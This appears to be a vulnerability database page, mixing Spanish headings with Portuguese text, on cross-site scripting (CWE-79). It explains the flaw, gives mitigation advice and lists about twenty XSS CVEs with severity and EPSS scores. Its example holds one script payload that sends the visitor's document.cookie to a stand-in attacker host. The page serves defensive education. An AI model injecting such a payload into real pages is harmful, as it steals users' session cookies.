Fallos del tipo CWE-79

30.092 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-5425MEDIUMWP jQuery Lightbox <= 1.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via title AttributeEPSS 0.3%CVE-2024-56409HIGHPhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php fileEPSS 0.3%CVE-2024-2732MEDIUMThemify Shortcodes <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-31111MEDIUMWordPress Core < 6.5.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0483MEDIUMFanli2012 native-php-cms jump.php cross site scriptingEPSS 0.3%CVE-2024-3890MEDIUMHappy Addons for Elementor <= 3.10.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Calendly WidgetEPSS 0.3%CVE-2025-3387MEDIUMrenrenio renren-security JSON cross site scriptingEPSS 0.3%CVE-2024-50335MEDIUMAuthenticated XSS in "Publish Key" Field Allowing Unauthorized Administrator User Creation in SuiteCRMEPSS 0.3%CVE-2025-0506MEDIUMRise Blocks – A Complete Gutenberg Page Builder <= 3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via TitleTag ParameterEPSS 0.3%CVE-2026-26953MEDIUMPi-hole Web Interface has Stored HTML Injection via X-Forwarded-For Header in Active Sessions TableEPSS 0.3%CVE-2024-22146MEDIUMWordPress Schema & Structured Data for WP & AMP Plugin <= 1.25 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-4339MEDIUMPrime Slider – Addons For Elementor (Revolution of a slider, Hero Slider, Ecommerce Slider) <= 3.14.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-29122MEDIUMWordPress FV Player plugin <= 7.5.41.7212 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22618MEDIUMWeGIA Cross-Site Scripting (XSS) Stored endpoint 'adicionar_cargo.php' parameter 'cargo'EPSS 0.3%CVE-2024-2841MEDIUMOtter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE <= 2.6.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-3152MEDIUMcaipeichao ThinkOX Search search.html cross site scriptingEPSS 0.3%CVE-2026-33170MEDIUMRails Active Support has a possible XSS vulnerability in SafeBuffer#%EPSS 0.3%CVE-2023-25711MEDIUMWordPress WPGlobus Translate Options Plugin <= 2.1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-4277MEDIUMLearnPress – WordPress LMS Plugin <= 4.2.6.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via layout_html ParameterEPSS 0.3%CVE-2025-1577MEDIUMcode-projects Blood Bank System prostatus.php cross site scriptingEPSS 0.3%